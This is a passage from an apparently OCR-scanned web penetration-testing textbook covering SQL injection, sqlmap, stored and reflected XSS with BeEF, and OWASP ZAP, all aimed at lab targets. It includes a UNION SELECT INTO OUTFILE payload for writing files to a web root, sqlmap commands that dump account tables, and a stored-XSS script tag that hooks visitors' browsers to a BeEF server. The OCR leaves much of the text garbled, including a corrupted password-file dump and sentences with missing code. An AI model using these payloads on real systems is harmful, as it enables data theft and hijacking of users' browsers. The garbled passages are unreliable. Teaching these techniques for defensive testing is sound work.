fbinfsync games:x:5:60:games:fusr/games-/bin/sh man:x:6:12: man:/var/cache/man:/binjsh Ipox:7:7:Ip:/var/spocifipd:ybin/sh mall:x:5:8: mail:fvarfmall:fbin/sh

naws ¥:8:0: naws:/varfeposiinaws fbinfsh uuep w:10:10:uuep:fvarjepaalfuuep:fbin/sh provyw:12:13:provy fbin:/bin/eh www-data w2232 www-data:fvarfwwwibin/sh
backup:x:34:34:backup:/var/backups:/bin/sh list:x:38:38:Mailing List Manager:/varflist:/binfsh irc:x:39:39ircd:/varfrunfirced./binfsh gnats:x:41:41:Gnats Bug-Reporting
System (admin):fvar/libjgnats:/bin/sh nobody:x:65534:65534: nobody.nonexistent:/binfsh libuuid:x: 100:101::/var/libflibuuid:fbin/sh dhcp:x: 101:102:: [nonexistent:
[binffalse syslog:x:102:103: fhomefsyslog.fbinjfaise klog:x:103:104: Jromefklog:[binffalse sshd:x: 10465534 varfrunfsshd: fusrfsbin/nologin

msfadmin:x:1000: 1000:msfadmin, ,.:/hemea/msfadmin:/binfbash bind:x:105:113::/var/cache/bind:/binffalse postfix:x:106:115::/var/spocl/posthix:/binfalse
ftp:x:107:65534::fhomefftp:/binffalse postares:x:108:117:PostgreSQL administrator,,.:fvar/lib/postgresal:/binfbash mysal:x:109:118:My5QL Server, . fvar/lib/mysal:
/binffalse tomecats5:x:110:6553 4 fusrfshare/tomcats 5:/bin/false distced:x:111:65534::/:/binffalse user:x:1001:1001:just a user,111, :/home/user:fbin/bash

Nibfnfs:fbin/falsa
Password=
Signature=

It's stored in, so we can read anything in the server from other
websites, or other files, by specifying the full path of that file in the
function.

Now, we are going write to the server. This is very useful because we
will be able to write any code we want. We can write the code for a
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PHP script, we can even write code for a shell, a virus, or a PHP
code to get a reverse connection code that will basically just act like a
file-upload vulnerability. To do that, we are going to write the code
that we want here and we are going to call it . We're going to use a
function called

, and then we're going to specify where we want to store that file. In
the best-case scenario, we will be able to write to our web root and
that will mean that we can access the file through the browser and
execute it, so we can upload a Weevely file and then connect to it.
We're going to save the file in the directory (that's our web root) so
we'll be able to access things through it, or you can put it in the
directory. Make sure you set everything to except what you put in ,
which is the into a file in

so that nothing gets written to the file

text, and it's going to be stored . Following is the command:

union select null,'example example',null,null,null into outfile ‘/var/www/mutillidae/example.txt'

Let's try to run the statement. The URL command is as follows: If we
see the following screenshot, we'll know that the command didn't
work because SQL or MySQL is not allowed to create or write to the
directory. The problem is that we don't have permissions that allow us
to write to the location:

| Error: Fallure Is always an optlon and this sltuation proves It

Line 126
.............. Ccdeo
File i-.f;;ar;wwwrmutillidae.ruser-inrb.phﬁ
Message -;Errnr.exer_.uting qﬁery. Can;t creal:efw:rite -to file 'Na-ra’wﬁwfﬁutillidael-em-jnp Ie.-l::x‘l' len':c-\de; 13)
Trace E-#O I\rar.rw.ww.rmutillidaefinde)c.php(469]: includeq) #i {main}
""""" “Diagnotic T~ FROM accounts WHERE usernamex'admin’ nion select null‘example example nullnull.null into outfile Jvarfwuwimutilidas

Information

| Did you satup/rasat tha DB?

To test this exploit, we're going to change this location to and running
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the code, and we will see that we can actually write to the directory:

Authentication Error: Bad user name or password

Please enter username and password
to view account details

MName

Password

View Account Details

Dont have an account? Blease register here

In the preceding screenshot, it displays error but if we list using , we
can see in the following screenshot that we have something called . If
we try to read the file, we will see that it contains the content of our
command and the

text written in the file:

isfadmnin@metasploitable i svarsuww sphpfyAdming | ‘tmp
4594 . jsvc_up example.txt testZ.txt test.txt
nsfadmin@metasploitable:svar/uww/phpMyAdming cat stmprexanple. txt

1 admin adminpas Monkey?t' TRUE
M example example N “N “N

We can get rid of and by just putting in the wrong username and
nothing will be displayed. The only thing that we will see is the output,
which is . Again, this is only useful if we are able to write to our web
server so we can access it, and then use our shell or our payload to
further exploit the system.

The sqlmap tool

In this section, we are going to learn about a tool called , which allows
us to do everything we've learned so far and even more. This tool can
be used against MySQL databases, which is the one that we used in
our examples. It can also be used against Microsoft SQL, Oracle, and
other databases. The tool is very useful; sometimes the injections
aren't as nice as the ones we've seen, and sometimes we only get
one output for each record and we have to loop through all the

T.me/nettrain



output. The tool can automate that and just do everything for us,
which is much easier and much simpler.

This is the URL that we were using for the
injection;

using the is

anything there, just to assume that we don't know the password and
we're only injecting SQL injections. Copy the URL and insert it into
the following command:

fg:t':al% ;)L.I20.14.204ImutiIIidaelindex.php?page=user-info.php&password=aaa&u ser-info-php-submit-button=View+Account+Details"

. So, the URL is page where the username is , and the password .
We don't really need to use the username and password, so we can
put

We're using the option to specify the URL; make sure that you put the
URL between two quotation marks so that it doesn't ignore anything
between them. We have some signs and characters in the middle
that we want to be treated as one URL.

Hit Enter, and the tool will automatically look through all the
parameters: It's going to look through , the username, and the
password, to see whether any of them are injectable; once it does
that, it's going to store it in its memory. So, it's going to know that if
anything is injectable and then we'll be able to further exploit the
target.

As we can see in the following image, it thinks that our target could
be MySQL or PostgreSQL, it's asking us whether it should skip other
tests, we're going to say yes because we know it's MySQL. Later it
will ask us whether it should do all the tests for both databases, and
we are going to say yes, assuming that we are not sure which one it
is, as shown in the following screenshot:
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il looks Like Lhe back-spd DBHS is ‘PoslgreSOL or MySOL®. Do yo L Lo skip test payloads specilic Tor olher DBMSes? [Y/n]
for the remaining tests, do you want to include all u-gts far Fostur SuL or H,ls L® & tendinu provided le w‘{ (1) and risk (1) values? [Y/n] ¥

We know it's MySQL but we are just going to let it do its thing, and
we'll see whether it can do it properly or not. It checks whether it's
PostgreSQL and we are assuming it's going to, and then it's going to
know that it's MySQL, it just found out that seems to be injectable,
and sure enough it's telling us here that the parameter is vulnerable
and we can inject it:

So, it's asking us whether we want to check the other parameters, we
can say yes and let it do it, but we are going to say no because we
don't mind if it just uses the for the injection:

B s vulnerable. Do you want to keep testing the others (if any}7 [y/N] N

Now, knows that the target is injectable and that it's going to use the
parameter to inject. As we can see in the preceding screenshot, it's
figured out that it's running , it's using with , and it's using the

server as the database server.
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is a really big tool and, in this section, we are just going to take a
quick look at some of the things it can do. | suggest you spend more
time with it and see what else it can do.

So, let's run :

caalL

- -banner

oD MMMMMMmMmMm

(5)

Now let's try to get and , so we're going to use the same command
that we used before. We'll add to the command to get the current
databases:

sqlmap -u
"http://10.20.14.204/mutillidae/index.php?page=user-info.php&password=aaa&u ser-info-php-submit-button=View+Account+Details" --dbs

As we can see in the following screenshot, we got all the databases
that we needed. There's , , , ,, and : Now, if we run the same
command replacing with , we can see that we are :
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m: L1r|I| I'II|||TI| .04 {(Hardy Heron)
: PHP 5.2.4, Apache 2.2.8

So, now let's try to get the tables for . We're also going to use the and
option to specify the database, and our database is going to be called
, S0 the command is going to be as follows:

sqlmap -u
"http://10.20.14.204/mutillidae/index.php?page=user-info.php&password=aaa&u ser-info-php-submit-button=View+Account+Details" --tables -D owasp10

As we can see in the following screenshot, the command got us all
the tables that exist in the database, such as, , , and tables: Now, if
we want to get the columns, we can use the same command again,
and we're going to say get from . Following is the command:

sqlmap -u
"http://10.20.14.204/mutillidae/index.php?page=user-info.php&password=aaa&u ser-info-php-submit-button=View+Account+Details" --columns -T accounts
-D owasp10

Following is the output of the command:

So, we have , , and , and we can get their data using the option. It's
the same command that we used before, so we're getting it from the
table and the database. Following is the command:
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sqlmap -u
"http://10.20.14.204/mutillidae/index.php?page=user-info.php&password=aaa&u ser-info-php-submit-button=View+Account+Details" -T accounts -D
owasp10 -dump

Following is the output of the preceding command:

o oo
o -

In the preceding screenshot we have , its password, and we have
and his password is . So, as we said, this tool is very useful. It can
make our life much easier and it does everything automatically.

Preventing SQLi

So far, we have seen that SQL injections are very dangerous; they
also occur very easily and are very easy to find. We will find them
everywhere, even in really famous websites. People try to prevent
these vulnerabilities using filters. Filters can make it look like there
are no exploits, but if we actually try harder, by using different types
of encoding, or a proxy, we will be able to bypass most of these
filters. Some programmers use a blacklist so, for example, they
prevent the use of and the statement. Again, it's not 100% secure,
and it can be bypassed. Using a whitelist has exactly the same issues
as a blacklist. The best way to prevent SQLi is to program our web
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application so that it does not allow code to be injected into it and
then executed. So, the best way to do that is to use parameterized
statements, where the data and the code are separated. Let's look at
an example, we are keeping the least amount of programming in this
example. We don't want it to be a programming example (there are
actually mistakes in the programming), but we are trying to look at the
concept more than how to program it. Following is the example code:

The vulnerable code used where is equal to whatever we put in , and
then we put in, say , and then close the quote. Then we're able to do
and execute something else; once we're done, we add the comment (
), which basically ignores everything that comes in after it. The code
looks like this:

Select * from accounts where username ='admin’ union select #'

This is very bad and very difficult to protect against. Using filters will
only hide the problem, it will not fix it. The best way to fix the
vulnerability is using parameterize statements, as in the following
example:

This is the safe way to do it. First, we our statement. Most languages,
such as

PHP, actually have a function where you can

and then we send the values. So, PHP now knows the SQL
statement is

then it's going to take the value of

statement, which is

is equal to something, and . Even if we come in and use our very
sneaky

the web application will know that the value for will actually try to use
actually will add its own quotes and try to find it will be

Therefore, whatever we put in , it will be sent as a value, and the web
application will know that this should be a value not code, and it will
never execute it. This will protect us against SQL injections.

, and paste it in the function,
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is . It the , and then it with the inserted . So,

. We can use the filters as a second line of defense. It's also advised
that we use the least privilege possible. So, for each database, use
one user with the least amount of privileges required; don't allow
users to do anything that they want; unless it's a simple website that
only does selection, then only allow the user to . If they only need to
and

, then only allow them to and ; this is a rule we should keep with
everything, even with Linux systems. Make sure the permissions are
always as minimal as possible, that each user doesn't have any extra
permissions they don't need.

Summary

In this chapter, we covered a vulnerability that can be exploited,
which are SQL injections. This SQLi can be used to perform a wide
range of very dangerous attacks on the databases of a machine and
the server. First, we saw how we can discover these injections. We
also learned how we can log in to a system using a URL all we had to
do was launch a few lines of code in which we had to mention the
password and username. Then, we saw how to bypass SQLi without
using login credentials. We even used the method to discover SQLi.
After that, we learned how to fire basic statements on a database. We
even learned how to use the tool, which is capable of performing a lot
of things, but we only covered the basics in this chapter. Finally, we
covered methods to prevent SQLi. In the next chapter, we are going
to exploit cross-site scripting vulnerabilities.
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21

Cross-Site Scripting Vulnerabilities

In both this and the following chapter, we're going to study a
vulnerability called cross-site scripting (XSS) so that we know how
to discover XSS vulnerabilities. But we will start off by learning about
XSS attacks and XSS vulnerabilities. Then we will exploit the
reflected vulnerability of XSS. Later, we will be looking at stored XSS,
which is another vulnerability of XSS, and also try to launch an attack.
Then we will look into exploiting XSS, and at the end of the chapter,
we will learn how you can protect yourself against these
vulnerabilities.

In this chapter, we will be covering the following topics:

Introduction to XSS
Reflected XSS

Stored XSS

XSS BeEF exploitation
XSS protection

Introduction to XSS

Now let's learn more about XSS. This type of vulnerability allows an
attacker to inject JavaScript into a page. JavaScript is a programming
language, and using this vulnerability, an attacker would be able to
execute code written in JavaScript into a certain page, such as a
website. JavaScript is a client-side language, so when the code is
executed, it will be executed on the client, on the user, the person
who is browsing the web page. It's not going to be executed on the
server, so even if our code results in us getting a reverse shell, the
shell will be coming from the user who is browsing the page, not from
the website. So any code we write in JavaScript will be exploited or
will run on the target user on the people who see the web pages and
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not on the web server. So, the web server is only going to be used as
a means of executing or delivering the code.
There are three main types of XSS vulnerabilities:

Persistent or stored : Stored XSS gets stored in the database. The
code that we inject will be stored in the database or the page so that
every time any person views that page, our code will be executed.
Reflected: With reflected XSS, the code will only be executed when
the target user runs a specific URL that is crafted or written by us. So
we will be manipulating some sort of URL and sending it to a target,
and when the target runs that URL, the code will be executed.
DOM-based: DOM-based XSS results from JavaScript code that is
written on the client, so the code will actually be interpreted and run
on the client side without having any communication with the web
server. This could be very dangerous because sometimes web
servers apply security and filtration measures to check for XSS, but
with DOM-based XSS, the code never gets sent to the web server.
This means that the code would be interpreted and run on the web
browser without even interacting with the web server, and will be
present in websites that update their content without refreshing.
We've all used websites where we enter our username, for example,
and it loads straight away without having to check with the web
server, or perhaps we enter some sort of a string and it performs a
search without communicating with the web server; whatever the
process, some websites perform functions without communicating
with their web server. If we are able to inject into these kinds of
website, then such injections will not be validated, and they will be
executed straight away and bypass all validations.

Reflected XSS

Let's learn how to discover these kinds of vulnerabilities. The method
is very similar to SQL injection. First, you browse through your target
and try to inject into any textbox or URL that looks similar. Whenever
you see a URL with parameters, try to inject

as parameters, or try to inject into textboxes. Let's have a look at a
reflected XSS example. These are the non-persistent, non-stored
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vulnerabilities where we have to actually send the code to the target,
and once the target runs the code, it will be executed on their
machine.

Let's have a look at our DVWA website and log into it. Inside the
DVWA Security tab on the left-hand side of the following screenshot,
we are going to set the Script Security to low:

|

Home [ DVWA Security »
Instructions
Setup | Script Security

Secunty Level is cumently high
Brute Force

You can set the security level to low, medium or high
Command Execution

The security level changes the wulnerability level of VWA,
CSRF |
File Inclusion low il Submt
SQL Injection |
SQL injection [Blind) |  pHp|DS
Upload

- {F-Intr, achic YSLEM a secunty layer for f based web applcaha
XSS reflected
"""" 12k HPIDS i uration of your session

XSS stored

PHFIDS is currently disabled. [

[ 1-[ ]
PHP Info
About
Logout

Username: admin
Security Level: igh
PHPIDS: disabled

This is obviously just an example, but the idea is that you can inject
into textboxes. Also, if we have a look at the URL , we can see that it
is using the method, so we can inject into the URL as well. Let us
start the D-pad and try to inject XSS code on it and see whether the
JavaScript code will be executed. We are using a very simple script,
the tag. There are a lot of ways of discovering these kinds of
vulnerabilities and a lot of ways to bypass filters, but for now, we're
just having a look at a basic example where we can inject a normal
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script and write which is just a function that gives an alert to give it a
textbox. Then we are going to click on Submit and see whether this
code will be executed.

As we can see in the following screenshot, instead of saying Hello
zaid, it says Hello; and our code has been executed, and it produces
a XSS popup:

If we have a look at the URL

, we can see that it actually already did

it for us. But if we copy and paste this URL on a notepad, we can see
the script in the

parameter, and some CSS scripting.

Obviously, all of the characters are just HTML escape characters, and
if we send the URL to anybody, then the code will be executed on the
machine of whoever views the URL, and it's going to display a popup
saying XSS. Let's see how we can also inject through the URL. Just
to show the whole idea, we will use the

URL

. If we press Enter, the code will be executed. We can copy the URL
and send it to a certain person, and once they run that code, the code
will be executed on their machine.

Stored XSS

Now let's have a look at a stored XSS example. Stored XSS is very
similar to reflected XSS it allows you to inject JavaScript code into the
browser. The code is executed on the users that visit the page. The
only difference is that, with reflected XSS, we have to send the URL
to our target, so the target has to actually click on a URL for the
exploit to run. With stored XSS, the code will be stored into the
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database that is, into the page so that every time a person runs that
page, they will see our code and our code will be executed, so we
won't need to interact with any users or send them anything.
Therefore, this could be much more dangerous than reflected XSS.
So, let's have a look at this. Click on the XSS stored tab on the left.
We will see a page, as shown in the following screenshot:

s Vulnerability: Stored Cross Site Scripting (XSS)

Instructions
Setup

Name *
Brite Force Message *
Command Execution
CSRF

Sign Guestbook

File Inclusion
SQL Injection Name: test

SQL Injection (8lind) Message: This is a test comment.
Upload

XSS reflected

More info

The page only allows us to add a message to the system. Now we
are going to enter in the Name textbox. We're just going to do a
normal test to begin with. We're going to enter in the Message
textbox, and then we are going to click on the Sign Guestbook
button. We can see in the following screenshot that zaid added a
message called message body:

e Vulnerability: Stored Cross Site Scripting (XSS)

Instructions
Setup

Name *

Brute Force MEsRRce

Command Execution S
Sign Guesthook

CSRF

File Inclusion

SQL Injection Name: test

SQL Injection (Blind) Message: This is a test comment.
Upload Name: zaid

e Message: message body

More info
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So, if we switch to a different DVWA machine in a different place and
go to the XSS stored tab, we will be able see that there are two
entries. The entries will be loaded from the database, and they
contain the entries in that database. If we managed to inject code
instead of a message, then the code will run on the machine of
whoever runs this page without us even needing to send that person
any code.

Let's try to inject into the DVWA that is running in the Kali
environment. Let's enter the Name as . We are going to try to enter
our code in the Message textbox. We will enter it as , and we are
going to use the exact same test code that we used in the previous
section, just a message saying . Again, very basic code, but it serves
for the purposes of this attack. We're going to make the code say ,
and then we are going to click on Sign Guestbook button. So the
code is as follows:

We will see that we get XSS displayed in the pop-up alert, but the
real magic happens when a normal person accesses the page:

Let's assume that DVWA is just a normal website and people are just
coming to browse it. Once they go to the XSS stored tab on the
website, the JavaScript code will be executed on their system from
the website. The code will come from the website and will be
executed on each user that visits the page. Again, we're just
implementing a proof-of-concept here; in the next sections, we'll see
how to further exploit this kind of vulnerability.

XSS BeEF exploitation

We haven't yet seen a good way of exploiting XSS vulnerabilities; all
we have done so far is inject a very simple code that displays an alert
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on the screen saying that this website is vulnerable. What we are
going to do now is something more advanced. We want to control the
victims and do stuff on the target computers, on the people that visit
the vulnerable pages where we have injected our code. We're going
to use the BeEF browser to do this. We had a look at BeEF in
previous chapters. What we're going to do here is use the BeEF hook
URL and inject it into the stored XSS page so that everybody who
visits that page will be hooked to BeEF. Then, we'll be able to run all
the commands that BeEF allows us to run on the target computer.
Let's start BeEF. If we look at the online browsers, we have no victims
at the moment. So, in order to hook victims to this framework and
gain access to the functionality of BeEF, we need to inject a particular
script instead of the alert:

Replace the in the preceding code with your current IP. Remember in
the previous sections, we were injecting an script into the URL, or into
the XSS stored page. In this example, we're going to be injecting a
script that hooks the target onto our BeEF browser so that we can
exploit them. We are going to copy the preceding script and then we
are going to go to our DVWA website. We are just going to make sure
that the security is set to low in DVWA's Security tab. Start the BeEF
browser on Kali machine. Go to the DVWA website and under the
XSS stored tab, we're are going to enter the Name as , and we'll
enter the Message as the hook URL that we got from the BeEF
Terminal. Again will need to modify the IP address in the hook URL to
our own IP address. So, instead of just the IP address of the website,
we are going to enter our own IP address, which is

. Now, the site wont let us add any more characters because the
Message field is configured in a way that doesn't allow more than a
certain number of characters. Instead, we can bypass this very easily
by right-clicking and selecting the Inspect Element option from the
drop-down menu:
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Mame * ‘ heef

<script sre="http://10.0.2:3000/hook.js"></script=

Message * Undo
Cut
Sign Guestbook
s Copy
Paste
Mame: test Delete
Message: This is a test comment. ' Select All
MName: zaid Check Spelling
Message: message body
Languages >

More info Inspect Element (Q)

Then we are going to modify , setting it to instead of :

TSI . = = . = . = . = | m 5 e e i i e
fescript sre="hitp £/ 10.0.2: 3000/Mook. 15> </sCTipt> |

Brute Force s ; ‘

Sign Guesibook

Mame: test i
nenge: This is a test commen

Haune. zald
ge: message body
More info
PHP info
About | i v
¢ E=ROEEEEnT [ Console T Debugger [ Style Edi. (& Performa..  {r Memory = Network H-B B S 08 x
+ Search HTML & [ Computed Andmations Fonts
<thady> & O Fatber Sryl + &
<trsefirs )
{ Inline =
Width="100">MessAqe *</ T }
1 ANput, tesxtarea L { 1055532
=) = =TT =TT nth= 500" [ < fumk: 100% arlal,sans-serif;
=textarea name="mtxMessage” cols="50" rows="3 3 == f i a reas uprrieal a1 fmne A _\f

Now we can add more characters. We are going to close the Inspect
Element dialog box and set the IP to , which is our current IP. We are
then going to click the Sign Guestbook button, and this should make
it work. Now, if we go to our target, which is our Linux computer that
has been hooked as a target, it can be seen to the left of the BeEF
window in the following screenshot:
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Hooked Browsers
4 — Online Browsers
410024

7 8@ 1002.15

] Offline Browsers

Obviously, this is not our target; it is just us who are looking at the
site, and the hook has been executed on our browser. Our target is
actually the Windows device, or any person who is going to be
visiting this XSS stored page. Because this is a stored XSS, just like
we explained, the code will be executed on the machine of any
person who visits the page.

Now, if we go back to BeEF browser, we should see the Windows
device, and we will be able to see that it's shown up in the Online
Browsers:

So we have basically hooked the Windows device, and we can now
run the large number of functions that BeEF allows us to use. Next,
we are going to click on our target and go to the Commands tab.
Right now, we just want to run a specific command, which is just an
command like we were using before, just to confirm that everything is
working. We are going to use , and we can set the Alert text as
anything we want. We are going to leave it as , and we will just click
on Execute:

Hooked Browsers Gedling Starie Logs Current Browser
a3 Online Browsers
279100215 Detalts Logs Commands
T B 10025 Module Tree Madlule Results History Create Akert Diakog

Offling Browsers =
alert id - dae labed Descripson:  Sends an aled dialog 10 Me hooked browser.
o {_Browser (1)
I 27
« | jHooked Domaln (1}

W Create Alert Dialog Mgt lext: BeEF Alert Dialog
4 Phonegap (1)
Alont User

Now, if we go on our target computer, we can see that the alert dialog
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is working, as shown in the following screenshot:

This site says...

EeEF Alert Dialog

Now, anybody who browses our target website the vulnerable website
will get hooked to BeEF, and we can then run all the commands that
we've been looking at. So, all the commands that we see in the client-
side attacks such as gaining full access using a fake notification bar,
getting a screenshot, injecting a keylogger can be used on any
person who visits the vulnerable page because we injected our hook
into that page, not into the browser. Our hook is a part of the page, so
every time the page is loaded by anyone, they will be hooked to the
BeEF browser.

XSS protection

Now let's talk about how we can prevent XSS vulnerabilities. These
vulnerabilities exist because whenever a user enters something into a
textbox or a parameter, that input is displayed in the HTML, so it's
treated as if it's part of the page. Therefore, if there is JavaScript in it,
the code is executed. To prevent this exploit, the best thing to do is to
try and minimize the usage of untrusted input. Given this exploit, we
should try to minimize occasions where the user inputs something or
where something is input from parameters. Also, make sure that we
always escape whatever is going to be displayed or used in the
HTML page, because XSS can not only be injected into places where
things are displayed on the page, but it can also be injected into
parameters of certain elements of the HTML page. Escaping means
that we convert each of the characters shown in the following
screenshot to what they would be represented by in HTML. We can
do this using our own script:

T.me/nettrain



Char Result
& — &amp;
» &lt;
— &9t

— &quot;
> &#x27;
— &#x2F;

Now let's see how it happens. Starting from the vulnerable web page
that we are using, let's go to the XXS stored page. Let's inspect the
element that is highlighted in the following screenshot, which is where
we injected our alert, and if we right-click and go to Inspect Element
in the drop-down menu, it will show us the HTML of the highlighted
element: If we scan through it, we will see that we have the Name,
which is zaid, and then the other input, which is the Message. It's a
script, and what the script does is displays an alert which says XSS,
so it's exactly what we injected into it when we made the comment.
So, every time we run this page, this piece of code gets executed.
We need to make sure that every time a user enters something, and
every time something is displayed on a page or is used somewhere in
the elements of the page (even the parameter, for example, is a
parameter of the tag, but it isn't displayed), then it can be injected as
well. Hackers can try to inject hooks into the parameters they can try
to inject hooks into the image attributes, for example, make an image
and inject a hook into the source or the URL.

Let's try an example where every time a user's input is used
anywhere on the page even if we don't see it we make sure that we
escape that input and ensure that it does not contain any code, and if
the input does contain any code, that it's converted to an equivalent
that will not be run. It's converted to its HTTP equivalent so that we
see in the message. We see the message as a script of an XSS
vulnerability, but it will never be executed on the target person when
they run it.

Now, as a user, to prevent ourselves from being victim of an XSS
attack, the URL coming to us will probably look like the URL of a
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trusted website; for example, let's say that we work in a company that
had an XSS vulnerability. We log into our company and the code gets
executed on our machine. Once this happens, there isn't much we
can do, so we need to be careful beforehand. With BeEF, we saw that
in order to exploit the vulnerabilities, we showed, for example, a fake
update to the target computer. So if we get a message stating that
there is an update, we should go to the actual website of the software
that (apparently) needs updating to check. So, if the Firefox browser
states that there is an update for its software, go to the Firefox
website and see whether there is actually an update, and if there is,
download it from that website don't download it from the notification
that's received. Also, make sure to download it from an HTTPS
website. Once we download it, we can inspect and check it the same
way that we've seen before in order to make sure that there are no
backdoors or anything in it. We can also check the to make sure that
the file hasn't been manipulated while it was being downloaded, the
same as we did with the fake Facebook login when we were using
BeEF. So, whenever we are told that we have been logged out and
are asked to log back in again, ignore the request and go to
Facebook, make sure it's using HTTPS, and then log in to Facebook.
Always try to be careful when notifications pop up telling you that you
need to do things always be aware, and never trust them.

Summary

In this chapter, we learned about XSS attacks, which can be
described as vulnerabilities that are found on web applications. We
also learned that there are three major types of XSS vulnerabilities
the reflected and stored. We looked at the reflected vulnerability and
used the DVWA website to launch this attack. We also learned about
the stored XSS vulnerability, and even practically implemented it.
Then, in the exploitation section, we performed an advanced attack
where we controlled the victim's machine. Finally, we learned how to
protect ourselves from these vulnerabilities. In the next chapter, we
are going to be learning about a tool called ZAP.
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22

Discovering Vulnerabilities Automatically Using OWASP
ZAP

In the last chapter, we covered another important part of penetration
testing, which was about exploiting cross-site scripting vulnerabilities.

Now, in this chapter, we are going to be studying a tool called ZAP,
which will help us detect the risks and vulnerabilities of web
applications. We will then explore various scans that we can perform
and also learn to read the scan results. We will see this through a few
examples.

This chapter will cover the following web penetration testing topics:
OWASP ZAP start
OWASP ZAP result

OWASP ZAP start

So far, we've learned how to manually discover a number of very
dangerous vulnerabilities. We've seen how they work and how to
exploit them. In this section, we will learn about a tool that will allow
us to automatically discover vulnerabilities in web applications. It'll
allow us to discover the vulnerabilities that we learned, plus many
more. The reason we didn't study this tool at the start because |
wanted to teach you how to discover vulnerabilities manually. Also, |
wanted you to know how these vulnerabilities occur, so as to
understand the reason behind them. So this program is just a tool, it
can make mistakes and it can show false positives. It can also miss
vulnerabilities in some cases. Therefore, | wanted you to know how to
do these things manually, so that if the program doesn't work or
misses something, you will be able to find it. The best way to use
these programs is as a backup or just as a tool to help us with our
penetration testing.
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Using the tool is very simple. We are going to go to Applications and
then we are going to type in . It will ask us if we want to save the
current session when we search for something, and we will select No,
| do not want to persist this session at this moment in time and
click Start:

OWASP ZAP o

Do you want to persist the ZAP Session?

_J Yes, | want to persist this session with name based on the current timestamp
_J Yes, | want to persist this session but | want to specify the name and location
(®) Mo, | do not want to persist this session at this moment in time

|| Remember my choice and do not ask me again.

You can always change your decision via the Options / Database screen

Help Start

In the following screenshot is the main view of the tool. On the left are
the websites that we will be targeting, on the right, we can attack and
set the website URL, and at the bottom, we can see the results of our
attack or our scan:

If we go to the cog icon on the left, it will open a window, as seen in
the following screenshot, which will allow us to modify the options for
the program. We can modify certain aspects of it, the way the Fuzzer
works, the way the AJAX Spider works, the way the scan works:

We are not going to modify anything. Another thing that we can
modify is the policies used in the scan; something similar to the scans
that we were using with Nmap, the intense scan and so on. So, we
going to click on the plus sign, which is at the bottom of the screen,
and we are going to click on Active Scan:
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[ 2 History | < search | ¥ Alerts | | | output |

1

@ & | Filter: OFF § Export

Id | Req. Timestamp | Method

& AJAX Spider

A Active Scan
3 Break Points
# ° Forced Browse
#§ Fuzzer

=i HTTP Sessions
(5] Params

5 Spider

¥ WebSockets

&2 Zest Results .
= Click on the Scan

Policy Manager button, highlighted in the following screenshot:

Scan Policy Manager (]
' Policy Name | Add J
Default Policy i
Import
% Export
d
@ Close
e e Select Default

Policy, now we can create our own policies by using the Add button.
We're going to click on Default Policy and click on the Modify

button:

Policy Name Add |
_ =
| Clicking on the
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Modify button will show us the aspects that we can modify:

Scan Policy [ %]
Scan Policy .3-,-_-,-
Client Browser | . |
Information Gathering Policy: Default Policy
Injection = -
Miscelaneous Default Alert Threshold: | uojium = | (Default threshold)
Server Scourity Default Attack Strength: | edium |+ | (Default attacks)
Apply'D_eh]_l_t v | Threshold To | Al _v| Rules| Go
Apply | Default T' Strength To | All _r] Rules| Go
' | Categ}ury - : . i”Thres_-huId | Strength [
| Client Browser
Information Gathering Default Default
Injection Default Default
Miscellaneous Default Default
Server Security Default Default
Thresholds and strengths can be changed by clicking on them cancel l-_DK .

In the preceding screenshot, we can see that we can modify the
Policy, the Default Alert Threshold, and the Default Attack
Strength for the global policy. Clicking on each of the categories will
allow us to modify the specific scans that will be performed. For
example, in the following screenshot, in the Injection tab, we can see
all the injection scans that the program is going to try, for example,
Cross Site Scripting: in the Threshold column, when we click on
type of threshold, we can set it to Default, Low, Medium, or High:
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Scan Policy [}
T Scan Policy Injection @
Client Browscr
Information Gathering Test Name | Strenagth | Quality |
Buffer Overflow Default Release
Miscellaneous CRLF Injection Default Release
Server Security Cross Site Scripting (Persistent) (Default &

Cross Site Scripting (Persistent) - Prime
Cross Site Scripting (Persistent) - Spider
Cross Site Scripting (Reflected)

Format 5tring Error

Parameter Tampering

Remote 05 Command Injection

Default Release
Default Release
Detault Release
Default Release
Default Release
Default Release

Server Side Code Injection Default Release

Server Side Include Nefault Release

SOL Injection Default Release
Thresholds and strengths can be changed by clicking on them Cancel 0K

Setting it to Default will just default to the value selected, which is

Medium in the following screenshot:

Scan Policy

Policy: Default Policy

Default Alert Threshold: | pyadiym |+ | (Default threshold)

Default Attack Strength: | medium |« | (Pefault attacks)

AppEy.DefauIt |= | Threshold To |all |*|Rules| Go
Apply | Default | = |Strength To | All {*|Rules| Go

Or, for example, if a SQL Injection is what we are looking for, if what
we are looking for is access to the database, then we can set
Threshold to High so that it'll try everything and it will try to find

vulnerability in even difficult places:
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¥ Scan Policy

Injection &
Client Browser =
Information Gathering Test Name 4| Threshold | Strength | Quality |
Buffer Qverflow Default Default Release
Miscellaneous CRLF Injection Default Default Release
Server Security Cross Site Scripting (Persistent) Default Default Release
Cross Site Scripting (Persistent) - Prime Default Default Release
Cross Site Scripting (Persistent) - Spider Default Default Release
Cross Site Scripting (Reflected) Default Default Release
Format String Error Default Default Release
Parameter Tampering Default Default Release
Remote OS5 Command Injection Default Default Release
Server Side Code Injection Default Default Release
Server Side Include Default Default Release

SQL Injection Default

OFF
Default

Low
Medium

Thresholds and strengths can be changed by clicking on them Cancel @
Just leave everything as default. Now, we are going to start our attack
against the mutillidae script. So, we have it in the URL is

running on the Metasploitable machine, and . Paste the URL in the
URL to attack textbox

present in the OWASP tool and click the Attack button:

Welcome to the OWASP Zed Attack Proxy (ZAP)

ZAP is an easy to use integrated penetration testing tool for finding vulnerabilities in web applications.
Please be aware that you should only attack applications that you have been specifically been given permission to test.

To quickly test an application, enter its URL below and press 'Attack’.

URL to attack: http://10.0.2.4/mutillidae/ ! @ select...

4 Attack M stop

Progress: Not started

For a more in depth test you should explore your application using your browser or automated regression tests while proxying through ZAP.

The tool is first try to find all the URLs and then it will try and attack
the URLs based on the scan policy that we used. The output of the
scan will be as follows:

OWASP ZAP results
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After the scan is over and we can see our website on the left, clicking
on it will show us some results from the Spider when it was looking
for the files:

| @ sites +|

N lal=

¥ [} Contexts
[&] Default Context
v @ Sites

v [ M http://10.0.2.4
_| M GET:mutillidae
e || Mo mutillidae
o % GET:mutillidaelpage)
i # GET:robots.txt
@ # GET:sitemap.xml

The very interesting part is the Alerts in
the following screenshot. We can see all the vulnerabilities that have
been discovered:

_ | = History ]' U, Search T Fu plerts # ] Dutput I N Active

® J
¥ L Alerts (15) i
» [ Cross Site Scripting (Reflected) (23) )

» [ External Redirect

» [ Path Traversal (10)

» M Remote File Inclusion

» @ Remote OS Command Injection

* [ SQL Injection

» [ Application Error Disclosure (14)

